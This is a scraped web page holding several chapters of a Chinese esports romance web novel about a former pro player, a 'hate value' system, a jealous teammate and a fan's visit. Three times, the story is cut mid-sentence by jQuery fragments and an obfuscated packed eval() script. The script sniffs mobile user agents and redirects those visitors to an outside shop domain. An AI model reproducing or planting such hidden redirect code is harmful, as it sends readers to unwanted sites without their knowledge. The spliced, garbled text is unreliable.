$(''.inform'').remove();
$(''#content'').append(''
无法预见也无法控制的的事情。
必须做点什么把剧情拉回正轨。
他想了想,干脆破罐子破摔,直接对余烬问道:“余烬。”
余烬抬起头,眼神还有些没散去的细微波动:“……什么?”
“你讨厌什么?”江屿白问得非常直接。
余烬似乎没料到他会问这个,愣了一下:“……我讨厌什么?”
“对,”江屿白点头,“你讨厌别人对你做什么?或者讨厌什么行为?”
他是真的没招了。打压否定、冷嘲热讽、冷处理无视、甚至故意演他……该做的能做的他三年前和这几天几乎全都做了一遍,结果恨意值不升反降,现在这人还围着他手伤忙前忙后。
不如直接问答案算了。江屿白自暴自弃地想,如果余烬说讨厌香菜,他就天天喂他吃香菜。
“我讨厌……”
余烬看着他,嘴唇动了动,似乎想说什么,但话到了嘴边,又咽了回去。他的眼神在那一刻变得很深,目光带着重量沉甸甸地落在江屿白脸上,像是有千言万语呼啸着要冲出牢笼,却又被他用尽力气按回深处。
“……嗯?”江屿白追问,等待着他的答案。
就在这时,江屿白放在桌上的手机屏幕亮了起来,提示音接二连三地响起,在安静的医务室里显得格外突兀。
他用左手拿过手机,解锁一看,果然又是Nightmare。
【Nightmare】:白神你怎么不回我QAQ
【Nightmare】:白神我是不是惹你烦了
【Nightmare】:白神你千万别嫌我烦,我给你道歉行吗QAQ
江屿白看着这一连串带着哭腔的表情,有些好笑,他用左手慢悠悠地敲字回复:
【Pale】:没有
【Pale】:手受伤了,没来得及回。
对面几乎是秒回:
【Nightmare】:!!!!
【Nightmare】:哪只手!?
【Pale】:右手,老伤了。
【Nightmare】:!!!!
【Nightmare】:白神我能去看你吗?
【Nightmare】:休假期你可以出来基地门口吗
【Nightmare】:我给你带我们队医自己调的药膏,治手伤很管用的
反正手受伤了不能训练没事做,江屿白想了想,回复:
【Pale】:可以。
他刚发出去,就感觉到一道强烈的视线落在自己身上。
一抬头,正好对上余烬皱紧的眉头。对方的视线扫过他的手机屏幕,又落回到他脸上,声音沉了下去:“你的手受伤了,还要出去见他?”
江屿白看看眉头紧锁的余烬,又低头看看手机里Nightmare热情洋溢的邀约,突然意识到什么,他笑了一下,说:“你很不愿意我和他见面?”
15. 第十五章
“……不,不是因为这个。”余烬生硬地否认,“你的手受伤了需要静养。而且他身份敏感,万一被粉丝拍到出现在IFX附近,会引起不必要的麻烦。”
“就下个楼,而且对面就有间咖啡馆。”江屿白不以为意,反而觉得余烬这欲盖弥彰的理由更加可疑。他微微挑眉,问道,“怎么,余烬队长,现在又不只是‘紧张IFX的打野’了?”
余烬被这话噎住,一时语塞。他沉默了几秒,最终只吐出几个字:“我跟你一起去。”
IFX基地对面的咖啡馆设有私密的小包间,环境清静,隔音尚可。江屿白和余烬先到,在柔软的沙发椅里坐下,中间隔着一个小圆桌,没坐多久就响起了敲门声。
江屿白说了声“进”,门立刻被推开,一个身影带着蓬勃的朝气闯了进来。
是VD的打野Nightmare。他穿着印有夸张涂鸦的潮流卫衣,头发挑染着几缕醒目的亮色,像一颗点燃的太阳。他一眼先看到了江屿白,脸上瞬间迸发出毫不掩饰的狂喜,但紧接着,他注意到了坐在一旁的余烬,明显愣了一下,随即收敛了些许过分外放的情绪,略显拘谨但依旧热情地打招呼:“白神!烬神!你们好!”
他快速掠过余烬没什么表情的脸,有些意外IFX的队长也会在场,但还是恭敬地点头致意。
“坐吧。”江屿白指了指对面的空位。
Nightmare赶紧坐下,身体下意识地前倾,视线几乎是贪婪地落在江屿白身上。在Nightmare眼中,眼前的Pale似乎比屏幕里和想象中要清瘦一些,脸色也有些缺乏血色的苍白,但那双黑眸依旧深邃。他随意地坐在那里,在听见开门声时抬眼看来,目光沉静,明明是被仰视的角度,却无端让人感到自己才是被审视的那一个。
这短暂的对视让Nightmare呼吸都变得急促,这就是他追逐了无数个日夜的传奇,此刻真真切切地坐在他面前,一个眼神就让他几乎要手足无措。狂喜和激动如同沸腾的水泡,咕嘟咕嘟地往上冒,几乎要淹没理智。
然而下一秒,他就看见江屿白右手腕那刺眼的白色支具和药膏痕迹上——那是他今天在对局里疯狂针对的“战果”。沸腾的兴奋感像被骤然浇了一盆冰水,迅速冷却,取而代之的是强烈的懊悔和自责。
“白神,你手怎么样?严不严重?”他声音里的兴奋褪去,染上了明显的急切和歉疚,“都怪我今天对局太较真了。”
“老毛病了,不关你的事。”江屿白用左手示意了一下自己受伤的右腕,“休息两天就好。”
“那就好那就好……”Nightmare松了口气,随即眼神又亮得惊人,话匣子彻底打开,“白神,你今天第一局那个惩戒太神了!还有第一波那个假装要进龙坑的假动作,我的天,我回头把录像慢放了十几次才看明白!还有你当年在BZN用岚四杀翻盘的那场,我就是看了那场比赛录像,才彻底下定决心要打职业,而且必须打野位!我一直学你的刷野路线和Gank timing,虽然学得皮毛都不到……”
他语速极快,如同开了闸的洪水,每一个字都充满了滚烫的赤诚和毫无保留的敬仰,恨不得将积攒了多年的崇拜在这一刻全部倾诉出来。
江屿白安静地听着,没有打断。偶尔在提到某个细节时,他会微微颔首,或者应一声“嗯”,甚至在某些节点补充一两句当时的想法。
仅仅是这样一个点头,一句回应,就足以让Nightmare兴奋得脸颊发红,仿佛得到了天大的褒奖。情绪愈发高涨,他像是想起了什么极其重要的事情,眼睛更亮了,语气也更加激动:“对了,白神!不止是学操作,我还收集了你好多好多周边!当年BZN的冠军限定队服,还有你当年的官方应援手幅、海报,我房间整整一面墙都贴满了!”
他越说越兴奋,仿佛遇到了千载难逢的知音,完全沉浸在分享的喜悦里,甚至下意识地抬手比划着:“哦对了!还有最重要的!BZN当年那个官方队链,银色的那个,我也有一条!我进了VD之后托人花了老大价钱才拿到的!虽然背后没有刻字……”他说着,甚至还下意识地摸了摸自己空荡荡的脖颈,仿佛那条项链正戴在那里一样,“但我真的超喜欢!那是你和BZN王朝的象征啊!”
“队链”这两个字,如同两颗冰冷的子弹,猝不及防地射入旁边一直沉默的余烬耳中。
他看着江屿白居然有耐心听这些喋喋不休的崇拜,看着江屿白对别人露出那样纵容甚至堪称“温和”的态度,看着别人如此轻易地就获得了曾经的自己拼尽全力也无法触及的东西——他的认可,他的回应,他近乎温柔的耐心,这些待遇,是他整整一个青训期,乃至在BZN一队的那段短暂的日子里,从未享受过的奢侈。
他又看着那个年轻的打野脸上绽放的、毫无阴霾的、灿烂到刺眼的热情笑容,那笑容像一根根烧红的钢针,狠狠地扎进他的眼底。甚至那条队链,他怎么可以如此轻松地说出“我也有一条”,可以将其视为一种荣耀的收藏,可以毫无负担地表达喜爱。
为什么?
三年前,他怀抱着同样甚至更甚的崇拜走到江屿白面前,得到的永远是冷水浇头。他努力地训练,拼了命地想靠近一点,再近一点,得到的评价却是“不够”、“不行”、“差得远”。
为什么这个人可以对一个陌生的、别队的打野如此和颜悦色,甚至可以称得上“温柔”?为什么那些他求而不得的、哪怕只是一个肯定的眼神,却能如此轻易地给予别人?
剧烈的酸楚和愤怒席卷了他,心脏像是被一只冰冷的手狠狠攥住,又涩又痛。他插不上话,也不想插话,只是脸色阴沉得可怕。
这时,Nightmare从背包
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16326313|183243||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
里拿出一个包装精致的盒子,双手递过去:“白神,这是我们队医自己调的膏药,镇痛消炎效果特别好,你试试!”
江屿白看了看,用左手接了过来:“谢谢,破费了。”
“不破费不破费!”Nightmare连忙摆手,“能帮到你就好!”
紧接着,他脸上又露出期盼,小心翼翼地问:“白神,我能跟你合个影吗?再……再要个签名?”他看了一眼江屿白的右手,补充道,“就用左手随便划一下就行!”
江屿白看了一眼Nightmare,又瞥了一眼旁边气压极低的余烬,点了点头:“可以。”
Nightmare几乎要跳起来,立刻拿出手机,凑到江屿白身边,对着镜头比了个耶,笑容灿烂得晃眼。江屿白配合地看着镜头,脸上没什么表情,但也没有丝毫不耐。
拍完照,Nightmare又拿出笔记本和笔。江屿白用左手接过笔,低下头,一笔一划地写下了Pale几个字。
“好好好!这是世界上独一份的Pale左手签名!”Nightmare像捧着绝世珍宝一样捧着本子,眼眶发红,“谢谢白神!”
江屿白被他的反应逗乐,唇角不受控制牵起一个笑容。
那笑意很浅,转瞬即逝,却被余烬捕捉到,他下颌绷得死紧,胸腔里那股翻腾的情绪剧烈冲撞着,酸涩与妒意交织成一张冰冷的网,将他牢牢缚住,几乎窒息。
系统发出提示音:【叮!检测到目标人物恨意值剧烈波动……峰值持续攀升……当前稳定数值:99%。】
【恭喜宿主。】
直到Nightmare千恩万谢地离开,包间里只剩下两人。江屿白听着系统的汇报,思绪豁然开朗,这一连串恨意值飙升的契机让他抓住了关键——难不成他对别人稍微好一点,就能让余烬的恨意值上涨?
回基地的路上,江屿白开始了他的试探。
他拿出手机,看着Nightmare发来的感谢信息,评价道:“年轻人确实很有冲劲,操作大胆,想法也挺多,是个好苗子。”
余烬沉默。
他继续加码,声音里带上几分真切的欣赏:“虽然有点莽,但年轻人有冲劲是好事。天赋也确实肉眼可见,野区直觉很敏锐,是个打野的好苗子。”
他顿了顿,抛出了重磅炸弹,“看他这股劲头和天赋,好好培养下去,未来绝对是联盟顶尖打野的有力竞争者,说不定明年或者后年,真有机会去冲击一下恒星杯。”
【叮!恨意值上升0.5%,当前数值:99.5%。】
看来思路对了,江屿白正准备再接再厉,突然,走在他身边的余烬停住了脚步。
他不再是冰冷的沉默,而是骤然打断江屿白的话,声音低沉沙哑,像是从齿缝间艰难地挤出来:
“你很喜欢他吗?”
16. 第十六章
话音未落,余烬自己先愣住了。
这句脱口而出的质问带着过于鲜明的在意,他仿佛被自己语气里泄露的情绪烫到,立刻抿紧了唇,想要掩饰这瞬间的失态。
“他的打野节奏破绽很多,”他转开话题,“过度赞赏只会让他认不清自己。”
江屿白将他这强装的镇定尽收眼底,心中那个“对别人好就能刺激他”的猜想得到了初步印证,他没有点破,反而顺着余烬的话继续说道:
“是吗?我觉得年轻人有热情是好事,充满活力,看着就让人心情好。”他顿了顿,看着余烬更加阴沉的脸,“而且我喜欢他,跟他的比赛风格关系倒不大。”
“喜欢”两个字眼像一把烧红的钝刀,猛地砍进余烬的胸口,震得五脏六腑移位般闷痛不已,几乎要冲垮他的理智。偏偏就在这时,江屿白口袋里的手机不合时宜地响了起来,清脆的提示声在空旷的电梯里显得格外刺耳。不用看也知道,大概率又是Nightmare。
但江屿白没有立刻去掏手机,反而好整以暇地看着余烬,耐心等待他接下来会有什么反应。
余烬紧抿着唇,脸色已经难看至极。电梯门“叮”一声到达并打开,他像是再也无法忍受多待一秒,头也不回地走了出去,步伐又快又急。
他需要冷静,需要空间,需要立刻离那个能轻易将他情绪搅得天翻地覆的人远一点。
回到训练室,余烬关上门,将自己摔进电竞椅里。他强迫自己打开电脑,点开游戏客户端,试图将注意力都投入到操作中去。
然而屏幕上的兵线交接、技能特效、地图信息……一切都无法进入他的大脑。视野是模糊的,脑海里却异常清晰地反复回放着那些令他烦躁的画面——
江屿白面对着Nightmare,侧脸上极淡却真实存在过的笑意;江屿白用他从未得到过的、带着欣赏甚至纵容的语气夸赞着别人;还有那句“我喜欢他”,羽毛一样轻飘飘的,却沉沉压在他心上。
凭什么?
一个声音在心底疯狂地叫嚣,带着不甘和尖锐的疼痛。
他一路从BZN的冷板凳打到IFX的首发,从联赛垫底爬到世界之巅,三年浴血,遍体鳞伤也不曾退缩半分,不过是想得到江屿白的认可。可他能对一个萍水相逢的对手展露笑颜,却不会对他三年来的血与汗投以半分垂青。
为什么Nightmare就可以?仅仅因为他是粉丝?因为他那套毫无保留的崇拜?就值得江屿白一句“喜欢”?
这些带着强烈怨怼的念头骤然冒出来,连余烬自己都被吓了一跳。他像是被什么蛰了一下,猛地攥紧了手中的鼠标,金属外壳发出轻微的嘎吱声。
他这是在……嫉妒?
这个认知像一道惨白的惊雷,毫无预兆地劈中了他,他怎么会嫉妒?他应该恨江屿白才对!
恨他当年的刻薄无情,恨他那些冷漠的否定,恨他轻易就踩碎了自己视若珍宝的队链,恨他将自己所有的憧憬和努力都贬得一文不值……他积攒了整整三年的恨意,不才是支撑他走到今天的动力吗?
可是……
看到他手伤复发时的紧张失措是恨吗?看到他对着别人褒奖认可时心脏传来的闷痛是恨吗?想让他的眼睛永远只看得到自己是恨吗?听见他说喜欢别人时那份焚心蚀骨的愤怒是恨吗?
他不知道答案。混乱的情绪像一团纠缠不清的乱麻,堵在他的胸口,闷得发痛。
夜晚,余烬依然无法控制自己。
理智告诉他要远离,但身体却违背了意志,他再一次拿着药膏站在了江屿白的房门外。
犹豫片刻,他还是抬手,轻轻敲响了房门。
江屿白打开门,脸上带着一丝倦意,右手腕的红肿并未消减多少,微蹙的眉头显示着他的不适。
余烬沉默地走进去,示意江屿白坐下。暖色的灯光下,那片红肿愈发显得狰狞,皮肤紧绷,透着不正常的绯色,与周围苍白的肤色形成刺目的对比。
他挤出药膏,指尖带着微凉的触感,轻轻落在那片烫热的皮肤上。冰与热猝然交叠,激得江屿白几不可察地颤了一下。余烬的动作顿住,随即更加放轻了力道,指腹沿着腕骨轮廓缓慢地打圈揉按。
他的动作有些生涩,却异常专注,努力回忆着队医说的按摩手法,试图缓解那看起来就疼的肿胀。或许是因为他的动作确实到位,也或许是江屿白真的太累了,按着按着,余烬察觉到对方的呼吸逐渐变得均匀绵长。
他抬起头,发现江屿白不知何时已经用左手撑着头,闭上了眼睛,睡着了。
系统想发出提示,但想起今天凌晨才把宿主吵醒,电子音迟疑了一下,最终还是选择了沉默。
余烬手上的动作不自觉地放得更轻更柔,他耐心地按摩完,才用湿巾仔细地擦掉多余的药膏。做完这一切,他把江屿白抱回床上,站在床边,低头看着江屿白沉睡的侧颜。
灯光柔和地洒落,削弱了白日里的那些冷硬和锋芒,长长的睫毛在眼下投下一小片安静的阴影,他睡得毫无防备。
这张睡颜,再一次和三年前那个醉倒在他怀里毫无知觉的侧脸缓缓重合了。
时光仿佛在这一刻发生了奇妙的交错,这个夜晚和之前的那个夜晚如此相似,又如此不同。
三年过去,什么都变了。
他不再是那个在BZN训练室里小心翼翼,仰望崇拜着Pale的青训生,他成了世界冠军,成了IFX战队的王牌和队长,拥有了曾经梦想的一切荣誉和光环。
而江屿白却不再是那个光芒万丈,说一不二的双冠王队长,他成了万人唾弃的队霸,成了黯然退役的落魄主播,成为了被他引荐进来的替补打野。
可是三年过去,又好像什么都没变。
他依然能和江屿白在同一个战队,能穿上同样款式的队服。他依然能在耳机里听见他的声音,下意识地去跟从他清晰冷静的指令。他依然可以看到这个人褪去所有锋利外壳后,难得流露出的平静。他依然……
他依然无法控制地,爱着这个人。
这个认知洪水般冲垮了最后一道自欺欺人的堤坝。在这个万籁俱寂的时候,在这个他独自面对着毫无防备的江屿白的时候,在这个无人知晓的时候,余烬终于赤裸地,无法回避地面对了自己真正的心意。
正因为爱他,所以才会因那些否定而感到刺骨的疼痛,衍生出无法消解的恨意。
正因为爱他,所以才会拼了命地想要变强,想要追上他的脚步,渴望能与他并肩,甚至超越他,只为了能让他看见自己。
正因为爱他,所以才会在看到他轻易地对别人露出笑容,给予认可和温柔时,感受到那种灭顶的几乎要将他撕裂的嫉
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16326314|183243||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
妒和酸楚。
他想起江屿白今天在医务室里问他——“你讨厌什么?”
他讨厌的东西太多了。
他讨厌江屿白把视线放到别人身上,他讨厌江屿白会对别人露出那样纵容的笑意,他讨厌江屿白受伤了却让他自己的心脏也跟着一起抽疼。
他更讨厌的是……江屿白或许永远都不会用看Nightmare那种眼神来看他。
余烬伸出手,指尖缓缓摩挲过江屿白的下唇,那里有些干燥,细微的褶皱触感令他的指腹发麻。
他想,为什么你唯独看不见我呢?
——————
清晨,江屿白缓缓醒过来。
他睁开眼,有些茫然地眨了眨,适应着从窗帘缝隙透进来的微光。首先映入眼帘的是熟悉的天花板,自己正好好地躺在宿舍的床上,身上盖着柔软的薄被,受伤的右手被小心地安置在枕侧,下面还垫了一个软枕,姿势舒适,肿胀消褪了不少,痛感不再。
房间里空无一人,安静得能听到窗外偶尔的鸟鸣,空气中还残留着一丝清凉的药膏气味。
记忆逐渐回笼——余烬来了,给他换药按摩,然后他好像……太舒服了就不小心睡着了?
是余烬把他挪到床上的?
江屿白看着自己被妥善照顾的手腕,心情有些复杂。
【系统,】他在心里默念,【查一下恨意值。】
【宿主,当前恨意值:99.5%。】系统立刻回复。
还是99.5%,就差临门一脚。
【昨天我睡着之后,没发生什么别的事吧?】
【……】系统似乎在检索或评估,然后才用平稳的电子音回答:【根据监测,目标人物在您入睡后并未立刻离开。他注视着您的睡眠状态,持续时间较长。除此之外,无其他异常行为。】
【注视着我的睡眠状态?看了很久?】江屿白觉得有点奇怪,下意识地摸了摸自己的脸,【我脸上有东西?或者睡相很难看?】
他起身走到洗手间的镜子前仔细看了看。镜子里的人一切正常,眼下带着淡淡的休息不足的乌青,除此之外……他的目光落在自己的右边嘴角,那里似乎有一点点微热的红痕,像是被什么轻轻蹭过,但又不明显,更像是不小心自己压到的。
“没什么奇怪的啊……”他将这点疑惑抛开,洗漱后便准备去训练室。
还没走到训练室门口,江屿白就听到里面传来异常激烈的键盘敲击声,噼里啪啦,密集得如同骤雨敲窗,透着一股狠厉的劲道。
江屿白脚步顿了一下,推开训练室的门。
余烬正坐在机位前,背脊挺得笔直,戴着耳机,全神贯注地盯着屏幕。屏幕上正是《幽冥》的游戏界面,但并非普通的匹配或排位,而是自定义模式的1V1单挑地图。
这本身并不稀奇,职业选手加练单挑是常态。
但稀奇的是,余烬开了直播。
而且他屏幕右侧的弹幕助手区域,弹幕正以疯狂的速度刷新滚动,江屿白路过时刚好看见一条:
【Pale能不能来劝个架,你们不要再打了啦!】
江屿白:“……?”
这跟他有什么关系?
他停下脚步站在余烬身后看了一眼,发现对面那个人的id是谁非常明显:VD_Nightmare。
17. 第十七章
余烬竟然在和Nightmare单挑,江屿白不由得来了兴趣。他拉过旁边一把闲置的电竞椅,坐在了余烬侧后方不远不近的位置,开始围观这场突如其来的单挑。
余烬握着鼠标的手指微微收紧。他能清晰地感受到那道落在他侧脸和屏幕上的视线,这让他极其不自在,仿佛那些在他胸腔里见不得光的晦暗念头都要被这道注视悄然剖开。他强迫自己深吸一口气,将所有的注意力死死钉回电脑屏幕上,操作变得更加专注,也更加凶狠。
江屿白看着屏幕——这是《幽冥》里最纯粹的1v1模式,只有一条狭长的路线,胜负全凭个人硬实力。他扫了一眼双方选择的角色,眉头轻轻一挑。
VD的打野Nightmare选择的是一个前期强势的物理刺客型打野角色,这个角色机动性高、爆发恐怖,是Nightmare的招牌,也是目前版本1v1中的热门选择,极其符合他激进凶悍的打法风格。
而余烬的选择则让江屿白有些意外。他并没有选择自己擅长的、同样以爆发和操作著称的刺客型中单,反而拿了一个相对冷门、更偏向团队控制的法师。这个角色前期伤害匮乏,身板脆弱,极度依赖技能准度和节奏把控,在1v1模式下,面对Nightmare的刺客,从角色属性上来说,几乎是天然的劣势。
然而更让他惊讶的是当前的战况。对局已经进行到中期,双方的人头比竟然持平,都是2/2。
屏幕上,余烬操控的法师正谨慎地利用技能清理着被推到塔下的兵线,同时不断走位,与在塔外游弋寻找机会的Nightmare保持着一个安全的距离。照理说,在KD和经济相对持平的情况下,拥有巨大角色优势的Nightmare应该打得更加主动甚至肆无忌惮才对,但不知为何,他的走位却透着一股迟疑和畏缩,原本标志性的侵略性打法消失得无影无踪,好几次看似机会的突进都中途取消,显得犹豫不决。
江屿白侧头瞥了一眼旁边疯狂滚动的弹幕:
【Nightmare咋回事?被打怕了?】
【角色优势这么大居然能平局??烬神这操作逆天了】
【感觉Nightmare不敢上了,哈哈哈心理阴影了】
弹幕讨论的重点几乎都集中在Nightmare的状态失常和余烬的恐怖实力上。
游戏里,双方在余烬的防御塔前展开了第三波紧张的拉扯。余烬这边的兵线再次被清空,塔下只剩他孤零零的法师,自己也被Nightmare的Q技能刮中一下。而Nightmare那边兵线充足,他的刺客角色状态良好,技能齐全,所有条件都指向一个信号——这是越塔强杀的绝佳时机。
弹幕瞬间激动起来:
【贪!肯定贪!这波机会太好了!】
【兵线占优,血量占优,角色占优,这不敢贪说不过去了】
【还贪?忘了前两次怎么被塔下反杀的了?】
【输出打野被控制法师秀烂的话,确实有点丢份儿啊】
【怎么感觉烬神选这个角色出来是一场羞辱呢】
就在这万众瞩目之下,Nightmare似乎终究没能抵挡住诱惑,在第二波兵线进塔的瞬间,他操控的刺客一个灵活的E技能突刺,悍然冲进塔的攻击范围,直扑余烬的法师!
然而余烬仿佛早已预判到了他的行动,走位擦着技能边缘躲开了这致命的第一击!几乎在躲开的同一时间,他反手一个精准的预判Q技能——一道透明的囚笼拔地而起,将Nightmare的刺客结结实实地困在了原地。
这是一个持续两秒的硬控技能,防御塔的仇恨立刻被转移,硕大的激光狠狠砸下!Nightmare的血量骤降一截!
控制效果结束的瞬间,Nightmare惊慌失措地想要后撤逃离防御塔的攻击范围,但余烬的杀招并未结束,几乎在他动弹的前一刻,一个用于减速的E技能已经提前铺在了他的退路上。
减速效果触发,Nightmare的角色如同陷入无形泥沼,动作变得沉重拖沓。就在这致命的迟滞间,防御塔的第二道激光已然发出,结结实实地轰在他身上!
刺眼的伤害数字炸开,他的血条瞬间见底。
死亡的恐惧攫住了Nightmare,他再也顾不上节省,狼狈地交出了闪现,化作一道金光堪堪逃回安全距离,拖着一丝血皮仓皇回泉水补给。
弹幕瞬间被【666】和【烬神牛逼!】刷屏。
江屿白看得分明,Nightmare明显是着急了。在占据巨大先天优势的情况下却被余烬用操作和意识硬生生拖入僵局甚至反压,迫使他急于建立优势,反而昏了头,露出了破绽,被余烬冷静地抓住机会,一套完美的防御反击打得毫无脾气。
还是太年轻了,心态容易失衡。
不过——江屿白将目光转向身边依旧面无表情的余烬。刻意选出这样一个劣势的英雄,用最冷静的操作打出最羞辱的效果……这与其说是一场单挑,不如说是一场报复。
可是为什么呢?
两人在此之前除了赛场上的交集,唯一的联系就是昨天那场短暂的咖啡馆会面和自己随口夸的那几句。
难道就因为自己夸了那个打野几句,余烬就要用这种方式报复回来?
这想法有点太离谱了。江屿白失笑地摇了摇头,否定了这个猜测。
接下来的对局,Nightmare明显被打得有些畏手畏脚,不再敢轻易发起进攻。而余烬则开始稳健地积累经济,购买了几件增加法术强度的输出装。局势逐渐逆转,变成了余烬操控着法师,一步步将Nightmare的刺客压回塔下。
很快,余烬带着兵线开始围攻Nightmare的防御塔。他并不急于击杀躲在塔后徘徊的对手,而是一下一下地普攻点着防御塔。每当Nightmare忍不住想
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16326315|183243||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
上前干扰清兵或消耗时,余烬总会精准地甩出一个技能或平A,蹭掉他一点血量,虽然不痛不痒,但总能让Nightmare不敢再上前试探。
最终,在余烬这种近乎凌迟的推进方式下,Nightmare的第一座防御塔轰然倒塌。
江屿白看到这里,便收回了目光。胜负已定,剩下的只是时间问题。
他忽然有些意兴阑珊,低下头,百无聊赖地解锁了手机,打开他很久没有登陆过的那个充斥着辱骂的社交账号。他的账号早已关闭了评论和私信功能,像一座荒芜的孤岛,只剩下寥寥几条系统博文和转发,曾经ID前面那个象征着荣耀与辉煌的“BZN_”前缀早已消失,新的“IFX_”还没来得及加上,只剩下一个光秃秃的Pale。
他本想随意刷刷,消磨一下时间,却没想到刚一点开,手机就疯狂震动起来,无数@和转发的通知瞬间涌入,差点让手机直接卡死。他皱着眉点开消息列表,发现罪魁祸首正是此刻在游戏里被余烬狠狠教育的Nightmare。
VD_Nightmare:圆梦了[大哭][大哭][大哭]@Pale[图片][图片]
发布时间是昨晚。配图是昨天在咖啡馆的合影,以及那张独一无二的左手签名特写。
江屿白:“……”
这年轻人胆子是真的大,明明知道自己刚复出,现在正处于一个怎样的舆论漩涡,是个人人避之不及的毒瘤,他却敢这么毫不避讳地把合照和签名po出来,还直接@了他。
评论区的粉丝和黑子早就一拥而上,各种声音吵作一团:
【卧槽?!昨天对局完了立刻面基?!这什么发展速度?】
【Nightmare著名Pale舔狗了,基操勿惊】
【既然这样那默认Nightmare的人品也粉随Pale了】
【有一说一这照片,可以喷Pale技术下滑,可以喷Pale人品不好,但是脸这块真没得喷】
【楼上滚,人渣还有脸了?】
【还下滑呢,昨天跟VD两把对局c成那样了黑子脸还没被打肿?】
翻来覆去无非就是这些争吵,江屿白看了几条便觉得索然无味,甚至有些厌烦。他关掉了手机,同时电脑那边传来一声水晶爆炸的音效。
他抬头,果然,屏幕上已经跳出了蓝色的“Victory”标志,余烬干脆利落地退回到结算界面。数据面板显示,双方的人头比和经济差距其实并不大,但考虑到双方所选英雄的天壤之别,这种以微弱优势取得的胜利,对于Nightmare而言,恐怕比一场惨败更加难以接受,足以狠狠挫磨掉他一大截锐气。
江屿白看着结算界面,不知怎的,也忽然觉得有些手痒,他身体微微前倾,手指在桌面上轻轻敲了敲,吸引了余烬的注意。
“余烬,”他开口,目光落在对方微微怔住的脸上,“我和你来一把。”
18. 第十八章
没人说话的直播间乍然响起一个不属于主播的声音,这个声音还是风口浪尖的Pale,弹幕立刻炸了:
【??我听到了什么??Pale的声音?!】
【卧槽!Pale?!他要和烬神单挑?!】
【来一把!来一把!来一把!】
【今天是什么好日子!刚吃完烬神暴打Nightmare,马上又能看Pale对线烬神?】
【#IFX队内中野不和】
余烬的第一反应是蹙眉拒绝:“你的手还受着伤。”他指的是那依旧看得出些许红肿的右手腕。
“没事,”江屿白活动了一下手腕,“又不是打一整天,明天早上我们来一把。”
见江屿白坚持,余烬的眉头皱得更紧,他似乎误解了什么,猛地转过头看向江屿白:“你是想给他出气?”——那个“他”指的显然是被他刚刚虐完的Nightmare。
江屿白:“?”
他完全没搞懂这其中的逻辑关系,怎么就和给Nightmare扯上关系了?但还没等他开口询问,余烬也意识到自己失言,跳过了这个话题:“怎么突然想单挑?”
“手痒了。”江屿白眼神里闪烁着久违的的跃跃欲试,“况且好久没打中单位了。”
“你想用中单跟我打?”余烬语气里带上一丝惊讶,毕竟江屿白以打野位封神,中单并非他的主位。
“对,”江屿白答得干脆,“怎么,你不敢了?”
余烬沉默了片刻,最终还是点头同意。Moba游戏的高端意识往往是共通的,大多数职业选手都是多面手,只是最终选择了一个最擅长的位置深耕。而江屿白在踏入职业赛场前,本就是国服有名的全能路人王,五个位置都实力不俗,只是后来进入BZN后,才固定在了打野位,并以此成就传奇。
他答应这场单挑,一方面是因为确实极少见到江屿白玩中单;另一方面……这是他从未有过的,能与江屿白正面1v1较量的机会,放在三年前,这根本是他无法想象的奢望。
——————
第二天一早,江屿白感觉右手腕的肿痛基本消散,他坐到自己的机位前,开机热身。
余烬也已经在了,他依言点开了直播。昨天两人约战的对话早已被粉丝传播出去,弹幕一早就在蹲守,疯狂刷屏要求观看这场队内对决,反正休赛期,播就播了。
游戏很快开始,进入1v1模式的角色选择界面。
余烬毫不犹豫,锁定了自己最常用、也是当前版本极为强势的爆发型中单刺客,锋芒毕露。
而江屿白在角色列表上滑动片刻,最终选择了一个机制特殊、但多个版本以来都处于半下水道地位的法师角色。这个角色兼具控制和输出,看似非常全面,但实际操作起来很容易陷入控制不足、输出也不够的尴尬境地,最后不伦不类,输出不高,控制也没用。
看到他选出这个角色,弹幕立刻一片唱衰:
【啊?Pale选这个?这角色刮痧师傅啊!】
【完了完了,烬神的刺客天克这个,对线期就要穿线了】
【表演赛实锤了,队内娱乐一下而已,大家看个乐子】
【这角色狗都不玩!Pale是不是太久没玩中单跟不上版本了?】
【毫无悬念,坐等烬神碾压】
游戏开始,两人出生在泉水。
前期对线,双方都以补刀和消耗为主。余烬的刺客角色前期优势明显,几次精准的技能消耗都将江屿白的血量压得更低一些,兵线也逐渐朝着江屿白的塔下推进。
江屿白操控着他的法师,谨慎地利用技能清线,将一个范围较大的E技能丢向塔前的残血小兵,勉强收掉。但下一波兵线很快到来,余烬再次迅速清线,将兵线压力完全给到江屿白塔下。
两人在蓝色方的防御塔下展开拉扯,走位试探,等待对方露出破绽。
